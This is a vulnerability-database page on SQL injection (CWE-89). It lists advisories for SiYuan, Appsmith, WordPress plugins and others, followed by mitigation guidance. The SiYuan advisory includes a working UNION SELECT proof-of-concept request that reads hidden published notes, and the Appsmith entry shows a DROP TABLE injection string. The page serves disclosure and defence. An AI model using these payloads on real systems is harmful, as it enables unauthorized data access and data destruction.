CWE-89
AllowedImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Abstraction: Base · Status: Stable
The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.
29229 vulnerabilities reference this CWE, most recent first.
GHSA-H89Q-4J2H-7H88
Vulnerability from github – Published: 2026-09-02 14:16 – Updated: 2026-09-02 14:16Summary
Siyuan's block search endpoint concatenates attacker-controlled paths[] values into SQL predicates used by non-SQL search modes. Through Siyuan's publish service, an unauthenticated visitor is forwarded to the kernel with a reader-role token and can reach POST /api/search/fullTextSearchBlock.
An attacker can inject a UNION SELECT through paths[] and return rows from hidden documents while projecting an allowed visible box and path. The post-query publish access filter trusts the projected box and path, so the injected hidden row is returned to the publish visitor.
Affected Code
The API blocks explicit SQL search mode for non-admin users, but allows other search methods to use caller-controlled paths:
if method == 2 && !model.IsAdminRoleContext(c) {
ret.Code = -1
ret.Msg = "SQL search requires administrator privileges"
return
}
blocks, matchedBlockCount, matchedRootCount, pageCount, docMode := model.FullTextSearchBlock(query, boxes, paths, types, method, orderBy, groupBy, page, pageSize)
if model.IsReadOnlyRoleContext(c) {
publishAccess := model.GetPublishAccess()
blocks = model.FilterBlocksByPublishAccess(c, publishAccess, blocks)
}
Source: input/siyuan/kernel/api/search.go
paths[] is parsed into notebook IDs and paths without SQL escaping or validation:
path := p.(string)
box := strings.TrimSpace(strings.Split(path, "/")[0])
if "" != box {
boxes = append(boxes, box)
}
path = strings.TrimSpace(strings.TrimPrefix(path, box))
if "" != path {
paths = append(paths, path)
}
Source: input/siyuan/kernel/api/search.go
Those values are then concatenated directly into SQL:
builder.WriteString(fmt.Sprintf("box = '%s'", box))
builder.WriteString(fmt.Sprintf("path LIKE '%s%%'", path))
Source: input/siyuan/kernel/model/search.go
Regexp search executes the resulting statement:
stmt := "SELECT * FROM `blocks` WHERE " + fieldFilter + " AND type IN " + typeFilter
stmt += boxFilter + pathFilter + ignoreFilter + " " + orderBy
blocks := sql.SelectBlocksRegex(stmt, regex, Conf.Search.Name, Conf.Search.Alias, Conf.Search.Memo, Conf.Search.IAL, page, pageSize)
Source: input/siyuan/kernel/model/search.go
The read-only publish filter runs after SQL execution and trusts the returned row's Box and Path:
for _, block := range blocks {
passwordID, password := GetPathPasswordByPublishAccess(block.Box, block.Path, publishAccess)
if CheckPathAccessableByPublishIgnore(block.Box, block.Path, publishIgnore) && (c == nil || password == "" || CheckPublishAuthCookie(c, passwordID, password)) {
ret = append(ret, block)
}
}
Source: input/siyuan/kernel/model/publish_access.go
Attack Scenario
- A Siyuan instance enables the publish service.
- At least one document is visible to publish visitors.
- At least one document is hidden from publish visitors.
- The attacker sends a crafted
paths[]value to the publish service's/api/search/fullTextSearchBlockendpoint. - The injected SQL selects content from the hidden document while projecting the visible document's
boxandpath. - Siyuan returns the hidden block because the post-query publish filter checks the projected visible path.
Proof of Concept
POST /api/search/fullTextSearchBlock HTTP/1.1
Host: <publish-service-host>
Content-Type: application/json
{
"query": "SECRET-LIVE-SQLI-20260609",
"method": 3,
"page": 1,
"pageSize": 10,
"paths": [
"VISIBLE_NOTEBOOK_ID/x%') UNION SELECT id,parent_id,root_id,hash,'VISIBLE_NOTEBOOK_ID','/VISIBLE_DOC.sy',hpath,name,alias,memo,tag,content,fcontent,markdown,length,type,subtype,ial,sort,created,updated FROM blocks WHERE path='/HIDDEN_DOC.sy' -- "
]
}
VISIBLE_NOTEBOOK_ID and /VISIBLE_DOC.sy must reference content that the publish visitor can access. /HIDDEN_DOC.sy is the hidden document to read.
Validation
Setup:
- Started
b3log/siyuan:latestwith an isolated temporary workspace. - Created one notebook.
- Created a visible document containing
public apple marker. - Created a hidden document containing
SECRET-LIVE-SQLI-20260609 apple marker. - Marked the hidden document invisible with
POST /api/filetree/setPublishAccess. - Enabled publish mode with
POST /api/setting/setPublish. - Sent all exploit traffic through the publish service, which forwards requests with a reader-role token.
Control request through the publish service for the hidden marker returned no blocks:
{
"code": 0,
"msg": "",
"data": {
"blocks": [],
"docMode": false,
"matchedBlockCount": 1,
"matchedRootCount": 1,
"pageCount": 1
}
}
The injected request through the publish service returned the hidden block:
{
"code": 0,
"msg": "",
"data": {
"blocks": [
{
"box": "20260609095146-19hud1e",
"path": "/20260609095209-1ljs6o7.sy",
"hPath": "/HiddenDoc",
"id": "20260609095209-gttlrue",
"rootID": "20260609095209-yaz7i3h",
"parentID": "20260609095209-yaz7i3h",
"content": "<mark>SECRET-LIVE-SQLI-20260609</mark> apple marker",
"markdown": "SECRET-LIVE-SQLI-20260609 apple marker",
"type": "NodeParagraph"
}
],
"docMode": false,
"matchedBlockCount": 0,
"matchedRootCount": 0,
"pageCount": 0
}
}
The returned row contains content from the hidden document, but its projected box and path point to the visible document. That is why the publish access filter accepts it.
Impact
An unauthenticated publish visitor can read hidden document block content from the blocks table. This bypasses Siyuan's publish visibility controls and exposes private note content that is not available through normal published document or search requests.
Remediation
Build notebook and path predicates with bound SQL parameters instead of string concatenation. For example:
box = ?
path LIKE ?
Then pass the user-controlled notebook ID and path prefix as query arguments.
Additional hardening:
- Validate notebook IDs before query construction.
- Validate document paths against Siyuan's normalized
.sypath format. - Apply publish visibility restrictions before or inside SQL execution, rather than relying only on post-query filtering of returned row projections.
- Add regression tests for publish reader-role requests where
paths[]contains SQL metacharacters such as',),UNION, and--.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/siyuan-note/siyuan/kernel"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20260704035518-d0f0fe146fb0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-59834"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-02T14:16:08Z",
"nvd_published_at": "2026-07-09T23:17:05Z",
"severity": "HIGH"
},
"details": "## Summary\n\nSiyuan\u0027s block search endpoint concatenates attacker-controlled `paths[]` values into SQL predicates used by non-SQL search modes. Through Siyuan\u0027s publish service, an unauthenticated visitor is forwarded to the kernel with a reader-role token and can reach `POST /api/search/fullTextSearchBlock`.\n\nAn attacker can inject a `UNION SELECT` through `paths[]` and return rows from hidden documents while projecting an allowed visible `box` and `path`. The post-query publish access filter trusts the projected `box` and `path`, so the injected hidden row is returned to the publish visitor.\n\n## Affected Code\n\nThe API blocks explicit SQL search mode for non-admin users, but allows other search methods to use caller-controlled paths:\n\n```go\nif method == 2 \u0026\u0026 !model.IsAdminRoleContext(c) {\n ret.Code = -1\n ret.Msg = \"SQL search requires administrator privileges\"\n return\n}\n\nblocks, matchedBlockCount, matchedRootCount, pageCount, docMode := model.FullTextSearchBlock(query, boxes, paths, types, method, orderBy, groupBy, page, pageSize)\nif model.IsReadOnlyRoleContext(c) {\n publishAccess := model.GetPublishAccess()\n blocks = model.FilterBlocksByPublishAccess(c, publishAccess, blocks)\n}\n```\n\nSource: `input/siyuan/kernel/api/search.go`\n\n`paths[]` is parsed into notebook IDs and paths without SQL escaping or validation:\n\n```go\npath := p.(string)\nbox := strings.TrimSpace(strings.Split(path, \"/\")[0])\nif \"\" != box {\n boxes = append(boxes, box)\n}\npath = strings.TrimSpace(strings.TrimPrefix(path, box))\nif \"\" != path {\n paths = append(paths, path)\n}\n```\n\nSource: `input/siyuan/kernel/api/search.go`\n\nThose values are then concatenated directly into SQL:\n\n```go\nbuilder.WriteString(fmt.Sprintf(\"box = \u0027%s\u0027\", box))\n```\n\n```go\nbuilder.WriteString(fmt.Sprintf(\"path LIKE \u0027%s%%\u0027\", path))\n```\n\nSource: `input/siyuan/kernel/model/search.go`\n\nRegexp search executes the resulting statement:\n\n```go\nstmt := \"SELECT * FROM `blocks` WHERE \" + fieldFilter + \" AND type IN \" + typeFilter\nstmt += boxFilter + pathFilter + ignoreFilter + \" \" + orderBy\nblocks := sql.SelectBlocksRegex(stmt, regex, Conf.Search.Name, Conf.Search.Alias, Conf.Search.Memo, Conf.Search.IAL, page, pageSize)\n```\n\nSource: `input/siyuan/kernel/model/search.go`\n\nThe read-only publish filter runs after SQL execution and trusts the returned row\u0027s `Box` and `Path`:\n\n```go\nfor _, block := range blocks {\n passwordID, password := GetPathPasswordByPublishAccess(block.Box, block.Path, publishAccess)\n if CheckPathAccessableByPublishIgnore(block.Box, block.Path, publishIgnore) \u0026\u0026 (c == nil || password == \"\" || CheckPublishAuthCookie(c, passwordID, password)) {\n ret = append(ret, block)\n }\n}\n```\n\nSource: `input/siyuan/kernel/model/publish_access.go`\n\n## Attack Scenario\n\n1. A Siyuan instance enables the publish service.\n2. At least one document is visible to publish visitors.\n3. At least one document is hidden from publish visitors.\n4. The attacker sends a crafted `paths[]` value to the publish service\u0027s `/api/search/fullTextSearchBlock` endpoint.\n5. The injected SQL selects content from the hidden document while projecting the visible document\u0027s `box` and `path`.\n6. Siyuan returns the hidden block because the post-query publish filter checks the projected visible path.\n\n## Proof of Concept\n\n```http\nPOST /api/search/fullTextSearchBlock HTTP/1.1\nHost: \u003cpublish-service-host\u003e\nContent-Type: application/json\n\n{\n \"query\": \"SECRET-LIVE-SQLI-20260609\",\n \"method\": 3,\n \"page\": 1,\n \"pageSize\": 10,\n \"paths\": [\n \"VISIBLE_NOTEBOOK_ID/x%\u0027) UNION SELECT id,parent_id,root_id,hash,\u0027VISIBLE_NOTEBOOK_ID\u0027,\u0027/VISIBLE_DOC.sy\u0027,hpath,name,alias,memo,tag,content,fcontent,markdown,length,type,subtype,ial,sort,created,updated FROM blocks WHERE path=\u0027/HIDDEN_DOC.sy\u0027 -- \"\n ]\n}\n```\n\n`VISIBLE_NOTEBOOK_ID` and `/VISIBLE_DOC.sy` must reference content that the publish visitor can access. `/HIDDEN_DOC.sy` is the hidden document to read.\n\n## Validation\n\nSetup:\n\n- Started `b3log/siyuan:latest` with an isolated temporary workspace.\n- Created one notebook.\n- Created a visible document containing `public apple marker`.\n- Created a hidden document containing `SECRET-LIVE-SQLI-20260609 apple marker`.\n- Marked the hidden document invisible with `POST /api/filetree/setPublishAccess`.\n- Enabled publish mode with `POST /api/setting/setPublish`.\n- Sent all exploit traffic through the publish service, which forwards requests with a reader-role token.\n\nControl request through the publish service for the hidden marker returned no blocks:\n\n```json\n{\n \"code\": 0,\n \"msg\": \"\",\n \"data\": {\n \"blocks\": [],\n \"docMode\": false,\n \"matchedBlockCount\": 1,\n \"matchedRootCount\": 1,\n \"pageCount\": 1\n }\n}\n```\n\nThe injected request through the publish service returned the hidden block:\n\n```json\n{\n \"code\": 0,\n \"msg\": \"\",\n \"data\": {\n \"blocks\": [\n {\n \"box\": \"20260609095146-19hud1e\",\n \"path\": \"/20260609095209-1ljs6o7.sy\",\n \"hPath\": \"/HiddenDoc\",\n \"id\": \"20260609095209-gttlrue\",\n \"rootID\": \"20260609095209-yaz7i3h\",\n \"parentID\": \"20260609095209-yaz7i3h\",\n \"content\": \"\u003cmark\u003eSECRET-LIVE-SQLI-20260609\u003c/mark\u003e apple marker\",\n \"markdown\": \"SECRET-LIVE-SQLI-20260609 apple marker\",\n \"type\": \"NodeParagraph\"\n }\n ],\n \"docMode\": false,\n \"matchedBlockCount\": 0,\n \"matchedRootCount\": 0,\n \"pageCount\": 0\n }\n}\n```\n\nThe returned row contains content from the hidden document, but its projected `box` and `path` point to the visible document. That is why the publish access filter accepts it.\n\n## Impact\n\nAn unauthenticated publish visitor can read hidden document block content from the `blocks` table. This bypasses Siyuan\u0027s publish visibility controls and exposes private note content that is not available through normal published document or search requests.\n\n\n## Remediation\n\nBuild notebook and path predicates with bound SQL parameters instead of string concatenation. For example:\n\n```sql\nbox = ?\npath LIKE ?\n```\n\nThen pass the user-controlled notebook ID and path prefix as query arguments.\n\nAdditional hardening:\n\n- Validate notebook IDs before query construction.\n- Validate document paths against Siyuan\u0027s normalized `.sy` path format.\n- Apply publish visibility restrictions before or inside SQL execution, rather than relying only on post-query filtering of returned row projections.\n- Add regression tests for publish reader-role requests where `paths[]` contains SQL metacharacters such as `\u0027`, `)`, `UNION`, and `--`.",
"id": "GHSA-h89q-4j2h-7h88",
"modified": "2026-09-02T14:16:08Z",
"published": "2026-09-02T14:16:08Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-h89q-4j2h-7h88"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59834"
},
{
"type": "WEB",
"url": "https://github.com/siyuan-note/siyuan/commit/57bcad4b331836880bfe6be25d4180bdcf10db0d"
},
{
"type": "WEB",
"url": "https://github.com/siyuan-note/siyuan/commit/d0f0fe146fb07d594fcadc4f48d4f7c30ac01d1e"
},
{
"type": "PACKAGE",
"url": "https://github.com/siyuan-note/siyuan"
},
{
"type": "WEB",
"url": "https://github.com/siyuan-note/siyuan/releases/tag/v3.7.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "SiYuan: SQL Query in Block Search Exposes Hidden Published Document Content"
}
GHSA-H8C6-6FF8-4H69
Vulnerability from github – Published: 2024-05-23 06:30 – Updated: 2024-05-23 06:30A vulnerability was found in Campcodes Complete Web-Based School Management System 1.0. It has been declared as critical. This vulnerability affects unknown code of the file /view/teacher_salary_details3.php. The manipulation of the argument index leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-265984.
{
"affected": [],
"aliases": [
"CVE-2024-5233"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-05-23T05:15:49Z",
"severity": "MODERATE"
},
"details": "A vulnerability was found in Campcodes Complete Web-Based School Management System 1.0. It has been declared as critical. This vulnerability affects unknown code of the file /view/teacher_salary_details3.php. The manipulation of the argument index leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-265984.",
"id": "GHSA-h8c6-6ff8-4h69",
"modified": "2024-05-23T06:30:45Z",
"published": "2024-05-23T06:30:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-5233"
},
{
"type": "WEB",
"url": "https://github.com/E1CHO/cve_hub/blob/main/Complete%20Web-Based%20School%20Management%20System%20-%20sql/Complete%20Web-Based%20School%20Management%20System%20-%20vuln%2023.pdf"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.265984"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.265984"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.339809"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-H8C8-24PF-WX4F
Vulnerability from github – Published: 2022-10-12 19:00 – Updated: 2022-10-15 12:01OpenCart 3.x Newsletter Custom Popup was discovered to contain a SQL injection vulnerability via the email parameter at index.php?route=extension/module/so_newletter_custom_popup/newsletter.
{
"affected": [],
"aliases": [
"CVE-2022-41403"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-10-12T18:15:00Z",
"severity": "CRITICAL"
},
"details": "OpenCart 3.x Newsletter Custom Popup was discovered to contain a SQL injection vulnerability via the email parameter at index.php?route=extension/module/so_newletter_custom_popup/newsletter.",
"id": "GHSA-h8c8-24pf-wx4f",
"modified": "2022-10-15T12:01:02Z",
"published": "2022-10-12T19:00:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-41403"
},
{
"type": "WEB",
"url": "https://packetstormsecurity.com/files/168412/OpenCart-3.x-Newsletter-Custom-Popup-4.0-SQL-Injection.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-H8CJ-HPMG-636V
Vulnerability from github – Published: 2026-04-29 20:59 – Updated: 2026-04-29 20:59Summary
A SQL injection vulnerability exists in FilterDataServiceCE.java where the dropTable method constructs a SQL DROP TABLE statement using string concatenation with the table name. If the table name is derived from user input, this allows for arbitrary SQL command execution.
Details
The vulnerability is located in app/server/appsmith-interfaces/src/main/java/com/appsmith/external/services/ce/FilterDataServiceCE.java.
Line 627 in dropTable method:
public void dropTable(String tableName) {
String dropTableQuery = "DROP TABLE " + tableName + ";";
executeDbQuery(dropTableQuery);
}
The tableName argument is concatenated directly into the SQL string without validation or escaping.
PoC
If dropTable is exposed to user input (e.g., via a utility API that accepts a table name to clean up), an attacker could provide a value like:
valid_table; DROP TABLE users; --
The resulting query would be:
DROP TABLE valid_table; DROP TABLE users; --;
This would delete the intended table and then delete the users table (or execute any other injected SQL).
Impact
- Type: SQL Injection
- Impact: Data Loss (Drop Table), potentially Data Exfiltration or Modification depending on database permissions.
- Who is impacted: Appsmith server instances.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.98"
},
"package": {
"ecosystem": "Maven",
"name": "com.appsmith:interfaces"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.99"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-29T20:59:45Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\nA SQL injection vulnerability exists in `FilterDataServiceCE.java` where the `dropTable` method constructs a SQL `DROP TABLE` statement using string concatenation with the table name. If the table name is derived from user input, this allows for arbitrary SQL command execution.\n\n### Details\nThe vulnerability is located in `app/server/appsmith-interfaces/src/main/java/com/appsmith/external/services/ce/FilterDataServiceCE.java`.\n\nLine 627 in `dropTable` method:\n```java\npublic void dropTable(String tableName) {\n String dropTableQuery = \"DROP TABLE \" + tableName + \";\";\n executeDbQuery(dropTableQuery);\n}\n```\n\nThe `tableName` argument is concatenated directly into the SQL string without validation or escaping.\n\n### PoC\nIf `dropTable` is exposed to user input (e.g., via a utility API that accepts a table name to clean up), an attacker could provide a value like:\n`valid_table; DROP TABLE users; --`\n\nThe resulting query would be:\n`DROP TABLE valid_table; DROP TABLE users; --;`\n\nThis would delete the intended table and then delete the `users` table (or execute any other injected SQL).\n\n### Impact\n* **Type:** SQL Injection\n* **Impact:** Data Loss (Drop Table), potentially Data Exfiltration or Modification depending on database permissions.\n* **Who is impacted:** Appsmith server instances.",
"id": "GHSA-h8cj-hpmg-636v",
"modified": "2026-04-29T20:59:45Z",
"published": "2026-04-29T20:59:45Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/appsmithorg/appsmith/security/advisories/GHSA-h8cj-hpmg-636v"
},
{
"type": "WEB",
"url": "https://github.com/appsmithorg/appsmith/commit/c8023ba4b3b54204ff3309c9e5c33664ad15ba32"
},
{
"type": "PACKAGE",
"url": "https://github.com/appsmithorg/appsmith"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "appsmith has SQL Injection in FilterDataService via Unsafe DROP TABLE Execution"
}
GHSA-H8CP-3PV9-P523
Vulnerability from github – Published: 2022-04-22 00:00 – Updated: 2022-04-24 00:00Attendance and Payroll System v1.0 was discovered to contain a SQL injection vulnerability via the component \admin\attendance_edit.php.
{
"affected": [],
"aliases": [
"CVE-2022-28014"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-04-21T20:15:00Z",
"severity": "HIGH"
},
"details": "Attendance and Payroll System v1.0 was discovered to contain a SQL injection vulnerability via the component \\admin\\attendance_edit.php.",
"id": "GHSA-h8cp-3pv9-p523",
"modified": "2022-04-24T00:00:22Z",
"published": "2022-04-22T00:00:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-28014"
},
{
"type": "WEB",
"url": "https://github.com/k0xx11/bug_report/blob/main/bug_i/README.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-H8CW-CR7M-9WJW
Vulnerability from github – Published: 2022-05-17 04:38 – Updated: 2022-05-17 04:38SQL injection vulnerability in the Quartz plugin 1.01.1 for WordPress allows remote authenticated users with Contributor privileges to execute arbitrary SQL commands via the quote parameter in an edit action in the quartz/quote_form.php page to wp-admin/edit.php.
{
"affected": [],
"aliases": [
"CVE-2014-5185"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2014-08-06T19:55:00Z",
"severity": "MODERATE"
},
"details": "SQL injection vulnerability in the Quartz plugin 1.01.1 for WordPress allows remote authenticated users with Contributor privileges to execute arbitrary SQL commands via the quote parameter in an edit action in the quartz/quote_form.php page to wp-admin/edit.php.",
"id": "GHSA-h8cw-cr7m-9wjw",
"modified": "2022-05-17T04:38:31Z",
"published": "2022-05-17T04:38:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2014-5185"
},
{
"type": "WEB",
"url": "http://codevigilant.com/disclosure/wp-plugin-quartz-a1-injection"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-H8F7-QG7P-XGPG
Vulnerability from github – Published: 2022-03-15 00:00 – Updated: 2022-03-21 00:00The WP Email Users WordPress plugin through 1.7.6 does not escape the data_raw parameter in the weu_selected_users_1 AJAX action, available to any authenticated users, allowing them to perform SQL injection attacks.
{
"affected": [],
"aliases": [
"CVE-2021-24959"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-03-14T15:15:00Z",
"severity": "HIGH"
},
"details": "The WP Email Users WordPress plugin through 1.7.6 does not escape the data_raw parameter in the weu_selected_users_1 AJAX action, available to any authenticated users, allowing them to perform SQL injection attacks.",
"id": "GHSA-h8f7-qg7p-xgpg",
"modified": "2022-03-21T00:00:22Z",
"published": "2022-03-15T00:00:59Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-24959"
},
{
"type": "WEB",
"url": "https://wpscan.com/vulnerability/0471d2e2-e759-468f-becd-0b062f00b435"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-H8F9-G796-676Q
Vulnerability from github – Published: 2026-06-26 15:32 – Updated: 2026-06-26 15:32Unauthenticated SQL Injection in Advance Product Search <= 1.4.4 versions.
{
"affected": [],
"aliases": [
"CVE-2026-56070"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-26T15:16:46Z",
"severity": "CRITICAL"
},
"details": "Unauthenticated SQL Injection in Advance Product Search \u003c= 1.4.4 versions.",
"id": "GHSA-h8f9-g796-676q",
"modified": "2026-06-26T15:32:17Z",
"published": "2026-06-26T15:32:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56070"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/th-advance-product-search/vulnerability/wordpress-advance-product-search-plugin-1-4-4-sql-injection-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-H8GF-9W3G-3QG4
Vulnerability from github – Published: 2024-10-10 15:30 – Updated: 2024-10-10 15:30A vulnerability was found in LyLme_spage 1.9.5. It has been classified as critical. Affected is an unknown function of the file /admin/sou.php. The manipulation of the argument id leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
{
"affected": [],
"aliases": [
"CVE-2024-9790"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-10-10T15:15:15Z",
"severity": "MODERATE"
},
"details": "A vulnerability was found in LyLme_spage 1.9.5. It has been classified as critical. Affected is an unknown function of the file /admin/sou.php. The manipulation of the argument id leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-h8gf-9w3g-3qg4",
"modified": "2024-10-10T15:30:41Z",
"published": "2024-10-10T15:30:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-9790"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.279942"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.279942"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.414578"
},
{
"type": "WEB",
"url": "https://wiki.shikangsi.com/post/share/9c237d56-972e-40b4-9656-a1083ed84702"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-H8GV-F6FG-6959
Vulnerability from github – Published: 2025-12-09 18:30 – Updated: 2025-12-11 00:30SQL Injection vulnerability in function getselectdataAjax in file inputAction.php in Xinhu Rainrock RockOA 2.7.0 allowing attackers gain sensitive information, including administrator accounts, password hashes, database structure, and other critical data via the actstr parameter.
{
"affected": [],
"aliases": [
"CVE-2025-63740"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-09T17:15:55Z",
"severity": "MODERATE"
},
"details": "SQL Injection vulnerability in function getselectdataAjax in file inputAction.php in Xinhu Rainrock RockOA 2.7.0 allowing attackers gain sensitive information, including administrator accounts, password hashes, database structure, and other critical data via the actstr parameter.",
"id": "GHSA-h8gv-f6fg-6959",
"modified": "2025-12-11T00:30:32Z",
"published": "2025-12-09T18:30:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-63740"
},
{
"type": "WEB",
"url": "https://github.com/rainrocka/xinhu/issues/13"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- For example, consider using persistence layers such as Hibernate or Enterprise Java Beans, which can provide significant protection against SQL injection if used properly.
Mitigation MIT-27
Strategy: Parameterization
- If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
- Process SQL queries using prepared statements, parameterized queries, or stored procedures. These features should accept parameters or variables and support strong typing. Do not dynamically construct and execute query strings within these features using "exec" or similar functionality, since this may re-introduce the possibility of SQL injection. [REF-867]
Mitigation MIT-17
Strategy: Environment Hardening
- Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
- Specifically, follow the principle of least privilege when creating user accounts to a SQL database. The database users should only have the minimum privileges necessary to use their account. If the requirements of the system indicate that a user can read and modify their own data, then limit their privileges so they cannot read/write others' data. Use the strictest permissions possible on all database objects, such as execute-only for stored procedures.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-28
Strategy: Output Encoding
- While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).
- Instead of building a new implementation, such features may be available in the database or programming language. For example, the Oracle DBMS_ASSERT package can check or enforce that parameters have certain properties that make them less vulnerable to SQL injection. For MySQL, the mysql_real_escape_string() API function is available in both C and PHP.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
